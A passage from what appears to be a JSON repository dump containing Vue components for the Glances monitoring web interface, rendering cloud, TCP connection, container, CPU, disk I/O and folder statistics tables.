\"ok\";\n\t\t\t\t} else {\n\t\t\t\t\tdecoration = \"careful\";\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdecoration = countMin === null ? \"ok\" : \"critical\";\n\t\t\t}\n\t\t\treturn decoration;\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-cloud.vue",
    "content": "<template>\n    <section v-if=\"instance || provider\" id=\"cloud\" class=\"plugin\">\n        <span class=\"title\">{{ provider }}</span> {{ instance }}\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"cloud\"];\n\t\t},\n\t\tprovider() {\n\t\t\treturn this.stats[\"id\"] !== undefined ? `${stats[\"platform\"]}` : null;\n\t\t},\n\t\tinstance() {\n\t\t\tconst { stats } = this;\n\t\t\treturn this.stats[\"id\"] !== undefined\n\t\t\t\t? `${stats[\"type\"]} instance ${stats[\"name\"]} (${stats[\"region\"]})`\n\t\t\t\t: null;\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-connections.vue",
    "content": "<template>\n    <section id=\"connections\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">TCP CONNECTIONS</th>\n                    <th scope=\"col\" class=\"text-end\"></th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr>\n                    <td scope=\"row\">Listen</td>\n                    <td class=\"text-end\">{{ listen }}</td>\n                </tr>\n                <tr>\n                    <td scope=\"row\">Initiated</td>\n                    <td class=\"text-end\">{{ initiated }}</td>\n                </tr>\n                <tr>\n                    <td scope=\"row\">Established</td>\n                    <td class=\"text-end\">{{ established }}</td>\n                </tr>\n                <tr>\n                    <td scope=\"row\">Terminated</td>\n                    <td class=\"text-end\">{{ terminated }}</td>\n                </tr>\n                <tr>\n                    <td scope=\"row\">Tracked</td>\n                    <td class=\"text-end\" :class=\"getDecoration('nf_conntrack_percent')\">\n                        {{ tracked.count }}/{{ tracked.max }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"connections\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"connections\"];\n\t\t},\n\t\tlisten() {\n\t\t\treturn this.stats[\"LISTEN\"];\n\t\t},\n\t\tinitiated() {\n\t\t\treturn this.stats[\"initiated\"];\n\t\t},\n\t\testablished() {\n\t\t\treturn this.stats[\"ESTABLISHED\"];\n\t\t},\n\t\tterminated() {\n\t\t\treturn this.stats[\"terminated\"];\n\t\t},\n\t\ttracked() {\n\t\t\treturn {\n\t\t\t\tcount: this.stats[\"nf_conntrack_count\"],\n\t\t\t\tmax: this.stats[\"nf_conntrack_max\"],\n\t\t\t};\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(value) {\n\t\t\tif (this.view[value] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[value].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-containers.vue",
    "content": "<template>\n    <section v-if=\"containers.length\" id=\"containers\" class=\"plugin\">\n        <span class=\"title\">CONTAINERS</span>\n        <span v-show=\"containers.length > 1\">\n            {{ containers.length }} sorted by {{ sorter.getColumnLabel(sorter.column) }}\n        </span>\n        <div class=\"table-responsive d-md-none\">\n            <table class=\"table table-sm table-borderless table-striped table-hover\">\n                <thead>\n                    <tr>\n                        <td v-show=\"showPod\" scope=\"col\">Pod</td>\n                        <td v-show=\"!getDisableStats().includes('name')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'name' && 'sort']\"\n                            @click=\"args.sort_processes_key = 'name'\">\n                            Name\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"col\">Status</td>\n                        <td v-show=\"!getDisableStats().includes('cpu')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'cpu_percent' && 'sort']\"\n                            @click=\"args.sort_processes_key = 'cpu_percent'\">\n                            CPU%\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'memory_percent' && 'sort']\"\n                            @click=\"args.sort_processes_key = 'memory_percent'\">\n                            MEM\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"col\">MAX</td>\n                        <td v-show=\"!getDisableStats().includes('command')\" scope=\"col\">Command</td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr v-for=\"(container, containerId) in containers\" :key=\"containerId\">\n                        <td v-show=\"showPod\" scope=\"row\">{{ container.pod_id || '-' }}</td>\n                        <td v-show=\"!getDisableStats().includes('name')\" scope=\"row\">\n                            {{ container.name }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"row\" :class=\"getStatusClass(container.status)\">\n                            {{ container.status }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu')\" scope=\"row\">\n                            {{ $filters.number(container.cpu_percent, 1) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"row\">\n                            {{\n                                isNaN(container.memory_usage ?? NaN)\n                                    ? '-'\n                                    : $filters.bytes(container.memory_usage)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"row\">\n                            {{\n                                isNaN(container.limit ?? NaN)\n                                    ? '-'\n                                    : $filters.bytes(container.limit)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('ports')\" scope=\"row\" class=\"text-truncate\">\n                            {{ container.ports }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('command')\" scope=\"row\" class=\"text-truncate\">\n                            {{ container.command }}\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n        <div class=\"table-responsive d-none d-md-block\">\n            <table class=\"table table-sm table-borderless table-striped table-hover\">\n                <thead>\n                    <tr>\n                        <td v-show=\"showEngine\" scope=\"col\">Engine</td>\n                        <td v-show=\"showPod\" scope=\"col\">Pod</td>\n                        <td v-show=\"!getDisableStats().includes('name')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'name' && 'sort']\"\n                            @click=\"args.sort_processes_key = 'name'\">\n                            Name\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"col\">Status</td>\n                        <td v-show=\"!getDisableStats().includes('uptime')\" scope=\"col\">Uptime</td>\n                        <td v-show=\"!getDisableStats().includes('cpu')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'cpu_percent' && 'sort']\"\n                            @click=\"args.sort_processes_key = 'cpu_percent'\">\n                            CPU%\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"col\"\n                            :class=\"['sortable', sorter.column === 'memory_percent' && 'sort']\"\n                            @click=\"args.sort_processes_key = 'memory_percent'\">\n                            MEM\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"col\">MAX</td>\n                        <td v-show=\"!getDisableStats().includes('diskio')\" scope=\"col\">IORps</td>\n                        <td v-show=\"!getDisableStats().includes('diskio')\" scope=\"col\">IOWps</td>\n                        <td v-show=\"!getDisableStats().includes('networkio')\" scope=\"col\">RXps</td>\n                        <td v-show=\"!getDisableStats().includes('networkio')\" scope=\"col\">TXps</td>\n                        <td v-show=\"!getDisableStats().includes('ports')\" scope=\"col\">Ports</td>\n                        <td v-show=\"!getDisableStats().includes('command')\" scope=\"col\">Command</td>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr v-for=\"(container, containerId) in containers\" :key=\"containerId\">\n                        <td v-show=\"showEngine\" scope=\"row\">{{ container.engine }}</td>\n                        <td v-show=\"showPod\" scope=\"row\">{{ container.pod_id || '-' }}</td>\n                        <td v-show=\"!getDisableStats().includes('name')\" scope=\"row\">\n                            {{ container.name }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('status')\" scope=\"row\" :class=\"getStatusClass(container.status)\">\n                            {{ container.status }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('uptime')\" scope=\"row\">\n                            {{ container.uptime }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('cpu')\" scope=\"row\">\n                            {{ $filters.number(container.cpu_percent, 1) }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"row\">\n                            {{\n                                isNaN(container.memory_usage ?? NaN)\n                                    ? '-'\n                                    : $filters.bytes(container.memory_usage)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('mem')\" scope=\"row\">\n                            {{\n                                isNaN(container.limit ?? NaN)\n                                    ? '-'\n                                    : $filters.bytes(container.limit)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('iodisk')\" scope=\"row\">\n                            {{\n                                isNaN(container.io_rx ?? NaN)\n                                    ? '-'\n                                    : $filters.bytes(container.io_rx)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('iodisk')\" scope=\"row\">\n                            {{\n                                isNaN(container.io_wx ?? NaN)\n                                    ? '-'\n                                    : $filters.bytes(container.io_wx)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('networkio')\" scope=\"row\">\n                            {{\n                                isNaN(container.network_rx ?? NaN)\n                                    ? '-'\n                                    : $filters.bits(container.network_rx)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('networkio')\" scope=\"row\">\n                            {{\n                                isNaN(container.network_tx ?? NaN)\n                                    ? '-'\n                                    : $filters.bits(container.network_tx)\n                            }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('ports')\" scope=\"row\">\n                            {{ container.ports }}\n                        </td>\n                        <td v-show=\"!getDisableStats().includes('command')\" scope=\"row\" class=\"text-truncate\">\n                            {{ container.command }}\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n</template>\n\n<script>\nimport { orderBy } from \"lodash\";\nimport { GlancesHelper } from \"../services.js\";\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t\tsorter: undefined,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tsortProcessesKey() {\n\t\t\treturn this.args.sort_processes_key;\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"containers\"];\n\t\t},\n\t\tviews() {\n\t\t\treturn this.data.views[\"containers\"];\n\t\t},\n\t\tcontainers() {\n\t\t\tconst { sorter } = this;\n\t\t\tconst containers = (this.stats || []) //\n\t\t\t\t.map((containerData) => {\n\t\t\t\t\t// Memory usage no cache is reflected the algorithm used in Docker top\n\t\t\t\t\tlet memory_usage_no_cache;\n\n\t\t\t\t\tif (containerData.memory_usage != undefined) {\n\t\t\t\t\t\tmemory_usage_no_cache = containerData.memory_usage;\n\t\t\t\t\t\tif (containerData.memory_inactive_file != undefined) {\n\t\t\t\t\t\t\tmemory_usage_no_cache =\n\t\t\t\t\t\t\t\tmemory_usage_no_cache - containerData.memory_inactive_file;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmemory_usage_no_cache = undefined;\n\t\t\t\t\t}\n\n\t\t\t\t\treturn {\n\t\t\t\t\t\tid: containerData.id,\n\t\t\t\t\t\tname: containerData.name,\n\t\t\t\t\t\tstatus: containerData.status,\n\t\t\t\t\t\tuptime: containerData.uptime,\n\t\t\t\t\t\tcpu_percent: containerData.cpu.total,\n\t\t\t\t\t\tmemory_usage: memory_usage_no_cache,\n\t\t\t\t\t\tlimit: containerData.memory.limit,\n\t\t\t\t\t\tio_rx: containerData.io_rx,\n\t\t\t\t\t\tio_wx: containerData.io_wx,\n\t\t\t\t\t\tnetwork_rx: containerData.network_rx,\n\t\t\t\t\t\tnetwork_tx: containerData.network_tx,\n\t\t\t\t\t\tports: containerData.ports,\n\t\t\t\t\t\tcommand: containerData.command,\n\t\t\t\t\t\timage: containerData.image,\n\t\t\t\t\t\tengine: containerData.engine,\n\t\t\t\t\t\tpod_id: containerData.pod_id,\n\t\t\t\t\t};\n\t\t\t\t});\n\t\t\treturn orderBy(\n\t\t\t\tcontainers,\n\t\t\t\t[sorter.column].map((col) => {\n\t\t\t\t\tconst sorter = (item) =>\n\t\t\t\t\t\titem[col === \"memory_percent\" ? \"memory_usage\" : col] ?? -Infinity;\n\t\t\t\t\treturn sorter;\n\t\t\t\t}, []),\n\t\t\t\t[sorter.isReverseColumn(sorter.column) ? \"desc\" : \"asc\"],\n\t\t\t);\n\t\t},\n\t\tshowEngine() {\n\t\t\treturn this.views.show_engine_name;\n\t\t},\n\t\tshowPod() {\n\t\t\treturn this.views.show_pod_name;\n\t\t},\n\t},\n\twatch: {\n\t\tsortProcessesKey: {\n\t\t\timmediate: true,\n\t\t\thandler(sortProcessesKey) {\n\t\t\t\tconst sortable = [\"cpu_percent\", \"memory_percent\", \"name\"];\n\t\t\t\tfunction isReverseColumn(column) {\n\t\t\t\t\treturn ![\"name\"].includes(column);\n\t\t\t\t}\n\t\t\t\tfunction getColumnLabel(value) {\n\t\t\t\t\tconst labels = {\n\t\t\t\t\t\tio_counters: \"disk IO\",\n\t\t\t\t\t\tcpu_percent: \"CPU consumption\",\n\t\t\t\t\t\tmemory_usage: \"memory consumption\",\n\t\t\t\t\t\tcpu_times: \"uptime\",\n\t\t\t\t\t\tname: \"container name\",\n\t\t\t\t\t\tNone: \"None\",\n\t\t\t\t\t};\n\t\t\t\t\treturn labels[value] || value;\n\t\t\t\t}\n\t\t\t\tif (!sortProcessesKey || sortable.includes(sortProcessesKey)) {\n\t\t\t\t\tthis.sorter = {\n\t\t\t\t\t\tcolumn: this.args.sort_processes_key || \"cpu_percent\",\n\t\t\t\t\t\tauto: !this.args.sort_processes_key,\n\t\t\t\t\t\tisReverseColumn,\n\t\t\t\t\t\tgetColumnLabel,\n\t\t\t\t\t};\n\t\t\t\t}\n\t\t\t},\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDisableStats() {\n\t\t\treturn (\n\t\t\t\tGlancesHelper.getLimit(\"containers\", \"containers_disable_stats\") || []\n\t\t\t);\n\t\t},\n\t\tgetStatusClass(status) {\n\t\t\tconst lowerStatus = status.toLowerCase();\n\t\t\tif (['running', 'healthy'].includes(lowerStatus)) {\n\t\t\t\treturn 'ok';\n\t\t\t}\n\t\t\tif (['dead', 'unhealthy'].includes(lowerStatus)) {\n\t\t\t\treturn 'error';\n\t\t\t}\n\t\t\tif (['created', 'exited'].includes(lowerStatus)) {\n\t\t\t\treturn 'warning';\n\t\t\t}\n\t\t\tif (['paused', 'restarting'].includes(lowerStatus)) {\n\t\t\t\treturn 'careful';\n\t\t\t}\n\t\t\treturn 'info';\n\t\t},\n\t},\n};\n</script>\n"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-cpu.vue",
    "content": "<template>\n    <section id=\"cpu\" class=\"plugin\">\n        <!-- d-none d-xxl-block -->\n        <div class=\"table-responsive\">\n            <table class=\"table-sm table-borderless\">\n                <tbody>\n                    <tr class=\"justify-content-between\">\n                        <td scope=\"col\">\n                            <table class=\"table table-sm table-borderless\">\n                                <tbody>\n                                    <tr>\n                                        <th scope=\"col\">CPU</th>\n                                        <td scope=\"col\" class=\"text-end\" :class=\"getDecoration('total')\"><span>{{\n                                            total }}%</span>\n                                        </td>\n                                    </tr>\n                                    <tr>\n                                        <td scope=\"col\">user:</td>\n                                        <td scope=\"col\" class=\"text-end\" :class=\"getDecoration('user')\"><span>{{\n                                            user }}%</span></td>\n                                    </tr>\n                                    <tr>\n                                        <td scope=\"col\">system:</td>\n                                        <td scope=\"col\" class=\"text-end\" :class=\"getDecoration('system')\"><span>{{\n                                            system }}%</span>\n                                        </td>\n                                    </tr>\n                                    <tr>\n                                        <td v-if=\"iowait != undefined\" scope=\"col\">iowait:</td>\n                                        <td\nv-if=\"iowait != undefined\" scope=\"col\" class=\"text-end\"\n                                            :class=\"getDecoration('iowait')\"><span>{{ iowait }}%</span></td>\n                                    </tr>\n                                </tbody>\n                            </table>\n                        </td>\n                        <td>\n                            <template class=\"d-none d-xl-block d-xxl-block\">\n                                <table class=\"table table-sm table-borderless\">\n                                    <tbody>\n                                        <tr>\n                                            <td v-show=\"idle != undefined\" scope=\"col\">idle:</td>\n                                            <td v-show=\"idle != undefined\" scope=\"col\" class=\"text-end\"><span>{{ idle\n                                                    }}%</span></td>\n                                        </tr>\n                                        <tr>\n                                            <td v-show=\"irq != undefined\" scope=\"col\">irq:</td>\n                                            <td v-show=\"irq != undefined\" scope=\"col\" class=\"text-end\"><span>{{ irq\n                                                    }}%</span></td>\n                                        </tr>\n                                        <tr>\n                                            <td v-show=\"nice != undefined\" scope=\"col\">nice:</td>\n                                            <td v-show=\"nice != undefined\" scope=\"col\" class=\"text-end\"><span>{{ nice\n                                                    }}%</span></td>\n                                        </tr>\n                                        <tr>\n                                            <td v-if=\"iowait == undefined && dpc != undefined\" scope=\"col\">dpc:</td>\n                                            <td\nv-if=\"iowait == undefined && dpc != undefined\" scope=\"col\"\n                                                class=\"text-end\"\n                                                :class=\"getDecoration('dpc')\"><span>{{ dpc\n                                                    }}%</span></td>\n                                            <td v-show=\"steal != undefined\" scope=\"col\">steal:</td>\n                                            <td\nv-show=\"steal != undefined\" scope=\"col\" class=\"text-end\"\n                                                :class=\"getDecoration('steal')\"><span>{{ steal\n                                                    }}%</span></td>\n                                        </tr>\n                                    </tbody>\n                                </table>\n                            </template>\n                        </td>\n                        <td>\n                            <template class=\"d-none d-xxl-block\">\n                                <table class=\"table table-sm table-borderless\">\n                                    <tbody>\n                                        <tr>\n                                            <td v-if=\"nice != undefined && ctx_switches != undefined\" scope=\"col\">\n                                                ctx_sw:</td>\n                                            <td\nv-if=\"nice != undefined && ctx_switches != undefined\" scope=\"col\"\n                                                class=\"text-end\"\n                                                :class=\"getDecoration('ctx_switches')\"><span>{{ ctx_switches\n                                                    }}</span>\n                                            </td>\n                                        </tr>\n                                        <tr>\n                                            <td v-show=\"interrupts != undefined\" scope=\"col\">inter:</td>\n                                            <td v-show=\"interrupts != undefined\" scope=\"col\" class=\"text-end\"><span>{{\n                                                interrupts\n                                            }}</span></td>\n                                        </tr>\n                                        <tr>\n                                            <td\nv-if=\"!isWindows && !isSunOS && soft_interrupts != undefined\"\n                                                scope=\"col\">sw_int:\n                                            </td>\n                                            <td\nv-if=\"!isWindows && !isSunOS && soft_interrupts != undefined\" scope=\"col\"\n                                                class=\"text-end\"><span>{{\n                                                    soft_interrupts\n                                                }}</span></td>\n                                        </tr>\n                                        <tr>\n                                            <td v-if=\"isLinux && guest != undefined\" scope=\"col\">guest:</td>\n                                            <td v-if=\"isLinux && guest != undefined\" scope=\"col\" class=\"text-end\">\n                                                <span>{{\n                                                    guest\n                                                    }}%</span>\n                                            </td>\n                                        </tr>\n                                    </tbody>\n                                </table>\n                            </template>\n                        </td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"cpu\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"cpu\"];\n\t\t},\n\t\tisLinux() {\n\t\t\treturn this.data.isLinux;\n\t\t},\n\t\tisSunOS() {\n\t\t\treturn this.data.isSunOS;\n\t\t},\n\t\tisWindows() {\n\t\t\treturn this.data.isWindows;\n\t\t},\n\t\ttotal() {\n\t\t\treturn this.stats.total;\n\t\t},\n\t\tuser() {\n\t\t\treturn this.stats.user;\n\t\t},\n\t\tsystem() {\n\t\t\treturn this.stats.system;\n\t\t},\n\t\tidle() {\n\t\t\treturn this.stats.idle;\n\t\t},\n\t\tnice() {\n\t\t\treturn this.stats.nice;\n\t\t},\n\t\tirq() {\n\t\t\treturn this.stats.irq;\n\t\t},\n\t\tiowait() {\n\t\t\treturn this.stats.iowait;\n\t\t},\n\t\tdpc() {\n\t\t\treturn this.stats.dpc;\n\t\t},\n\t\tsteal() {\n\t\t\treturn this.stats.steal;\n\t\t},\n\t\tguest() {\n\t\t\treturn this.stats.guest;\n\t\t},\n\t\tctx_switches() {\n\t\t\tconst { stats } = this;\n\t\t\treturn stats.ctx_switches\n\t\t\t\t? Math.floor(stats.ctx_switches / stats.time_since_update)\n\t\t\t\t: null;\n\t\t},\n\t\tinterrupts() {\n\t\t\tconst { stats } = this;\n\t\t\treturn stats.interrupts\n\t\t\t\t? Math.floor(stats.interrupts / stats.time_since_update)\n\t\t\t\t: null;\n\t\t},\n\t\tsoft_interrupts() {\n\t\t\tconst { stats } = this;\n\t\t\treturn stats.soft_interrupts\n\t\t\t\t? Math.floor(stats.soft_interrupts / stats.time_since_update)\n\t\t\t\t: null;\n\t\t},\n\t\tsyscalls() {\n\t\t\tconst { stats } = this;\n\t\t\treturn stats.syscalls\n\t\t\t\t? Math.floor(stats.syscalls / stats.time_since_update)\n\t\t\t\t: null;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(value) {\n\t\t\tif (this.view[value] === undefined) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\treturn this.view[value].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-diskio.vue",
    "content": "<template>\n    <section v-if=\"hasDisks\" id=\"diskio\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">DISK I/O</th>\n                    <th v-show=\"!args.diskio_iops && !args.diskio_latency\" scope=\"col\" class=\"text-end w-25\">Rps</th>\n                    <th v-show=\"!args.diskio_iops && !args.diskio_latency\" scope=\"col\" class=\"text-end w-25\">Wps</th>\n                    <th v-show=\"args.diskio_latency\" scope=\"col\" class=\"text-end w-25\">ms/opR</th>\n                    <th v-show=\"args.diskio_latency\" scope=\"col\" class=\"text-end w-25\">ms/opW</th>\n                    <th v-show=\"args.diskio_iops\" scope=\"col\" class=\"text-end w-25\">IORps</th>\n                    <th v-show=\"args.diskio_iops\" scope=\"col\" class=\"text-end w-25\">IOWps</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(disk, diskId) in disks\" :key=\"diskId\">\n                    <td scope=\"row\" class=\"text-truncate\">\n                        {{ $filters.minSize(disk.alias ? disk.alias : disk.name, 16) }}\n                    </td>\n                    <td v-show=\"!args.diskio_iops && !args.diskio_latency\" class=\"text-end w-25\"\n                        :class=\"getDecoration(disk.name, 'write_bytes_rate_per_sec')\">\n                        {{ disk.bitrate.txps }}\n                    </td>\n                    <td v-show=\"!args.diskio_iops && !args.diskio_latency\" class=\"text-end w-25\"\n                        :class=\"getDecoration(disk.name, 'read_bytes_rate_per_sec')\">\n                        {{ disk.bitrate.rxps }}\n                    </td>\n                    <td v-show=\"args.diskio_latency\" class=\"text-end w-25\"\n                        :class=\"getDecoration(disk.name, 'write_latency')\">\n                        {{ disk.latency.txps }}\n                    </td>\n                    <td v-show=\"args.diskio_latency\" class=\"text-end w-25\"\n                        :class=\"getDecoration(disk.name, 'read_latency')\">\n                        {{ disk.latency.rxps }}\n                    </td>\n                    <td v-show=\"args.diskio_iops\" class=\"text-end w-25\">\n                        {{ disk.count.txps }}\n                    </td>\n                    <td v-show=\"args.diskio_iops\" class=\"text-end w-25\">\n                        {{ disk.count.rxps }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nimport { orderBy } from \"lodash\";\nimport { bytes } from \"../filters.js\";\nimport { store } from \"../store.js\";\n\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tdata() {\n\t\treturn {\n\t\t\tstore,\n\t\t};\n\t},\n\tcomputed: {\n\t\targs() {\n\t\t\treturn this.store.args || {};\n\t\t},\n\t\tstats() {\n\t\t\treturn this.data.stats[\"diskio\"];\n\t\t},\n\t\tview() {\n\t\t\treturn this.data.views[\"diskio\"];\n\t\t},\n\t\tdisks() {\n\t\t\tconst disks = this.stats\n\t\t\t\t.map((diskioData) => {\n\t\t\t\t\treturn {\n\t\t\t\t\t\tname: diskioData[\"disk_name\"],\n\t\t\t\t\t\talias:\n\t\t\t\t\t\t\tdiskioData[\"alias\"] !== undefined ? diskioData[\"alias\"] : null,\n\t\t\t\t\t\tbitrate: {\n\t\t\t\t\t\t\ttxps: bytes(diskioData[\"read_bytes_rate_per_sec\"]),\n\t\t\t\t\t\t\trxps: bytes(diskioData[\"write_bytes_rate_per_sec\"]),\n\t\t\t\t\t\t},\n\t\t\t\t\t\tcount: {\n\t\t\t\t\t\t\ttxps: bytes(diskioData[\"read_count_rate_per_sec\"]),\n\t\t\t\t\t\t\trxps: bytes(diskioData[\"write_count_rate_per_sec\"]),\n\t\t\t\t\t\t},\n\t\t\t\t\t\tlatency: {\n\t\t\t\t\t\t\ttxps: bytes(diskioData[\"read_latency\"]),\n\t\t\t\t\t\t\trxps: bytes(diskioData[\"write_latency\"]),\n\t\t\t\t\t\t},\n\t\t\t\t\t};\n\t\t\t\t})\n\t\t\t\t.filter((disk) => {\n\t\t\t\t\tconst readBytesRate = this.view[disk.name][\"read_bytes_rate_per_sec\"];\n\t\t\t\t\tconst writeBytesRate =\n\t\t\t\t\t\tthis.view[disk.name][\"write_bytes_rate_per_sec\"];\n\t\t\t\t\treturn (\n\t\t\t\t\t\t(!readBytesRate || readBytesRate.hidden === false) &&\n\t\t\t\t\t\t(!writeBytesRate || writeBytesRate.hidden === false)\n\t\t\t\t\t);\n\t\t\t\t});\n\t\t\treturn orderBy(disks, [\"name\"]);\n\t\t},\n\t\thasDisks() {\n\t\t\treturn this.disks.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(diskName, field) {\n\t\t\tif (this.view[diskName][field] == undefined) {\n\t\t\t\tif (this.view[field] == undefined) {\n\t\t\t\t\treturn;\n\t\t\t\t} else {\n\t\t\t\t\treturn this.view[field].decoration.toLowerCase();\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn this.view[diskName][field].decoration.toLowerCase();\n\t\t},\n\t},\n};\n</script>\n"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-folders.vue",
    "content": "<template>\n    <section v-if=\"hasFolders\" id=\"folders\" class=\"plugin\">\n        <table class=\"table table-sm table-borderless margin-bottom\">\n            <thead>\n                <tr>\n                    <th scope=\"col\">FOLDERS</th>\n                    <th scope=\"col\" class=\"text-end\">Size</th>\n                </tr>\n            </thead>\n            <tbody>\n                <tr v-for=\"(folder, folderId) in folders\" :key=\"folderId\">\n                    <td scope=\"row\">\n                        {{ folder.path }}\n                    </td>\n                    <td class=\"text-end\" :class=\"getDecoration(folder)\">\n                        <span v-if=\"folder.errno > 0\" class=\"visible-lg-inline\">?</span>\n                        {{ $filters.bytes(folder.size) }}\n                    </td>\n                </tr>\n            </tbody>\n        </table>\n    </section>\n</template>\n\n<script>\nexport default {\n\tprops: {\n\t\tdata: {\n\t\t\ttype: Object,\n\t\t},\n\t},\n\tcomputed: {\n\t\tstats() {\n\t\t\treturn this.data.stats[\"folders\"];\n\t\t},\n\t\tfolders() {\n\t\t\treturn this.stats.map((folderData) => {\n\t\t\t\treturn {\n\t\t\t\t\tpath: folderData[\"path\"],\n\t\t\t\t\tsize: folderData[\"size\"],\n\t\t\t\t\terrno: folderData[\"errno\"],\n\t\t\t\t\tcareful: folderData[\"careful\"],\n\t\t\t\t\twarning: folderData[\"warning\"],\n\t\t\t\t\tcritical: folderData[\"critical\"],\n\t\t\t\t};\n\t\t\t});\n\t\t},\n\t\thasFolders() {\n\t\t\treturn this.folders.length > 0;\n\t\t},\n\t},\n\tmethods: {\n\t\tgetDecoration(folder) {\n\t\t\tif (folder.errno > 0) {\n\t\t\t\treturn \"error\";\n\t\t\t}\n\t\t\tif (folder.critical !== null && folder.size > folder.critical * 1000000) {\n\t\t\t\treturn \"critical\";\n\t\t\t} else if (\n\t\t\t\tfolder.warning !== null &&\n\t\t\t\tfolder.size > folder.warning * 1000000\n\t\t\t) {\n\t\t\t\treturn \"warning\";\n\t\t\t} else if (\n\t\t\t\tfolder.careful !== null &&\n\t\t\t\tfolder.size > folder.careful * 1000000\n\t\t\t) {\n\t\t\t\treturn \"careful\";\n\t\t\t}\n\t\t\treturn \"ok\";\n\t\t},\n\t},\n};\n</script>"
  },
  {
    "path": "glances/outputs/static/js/components/plugin-fs.vue",
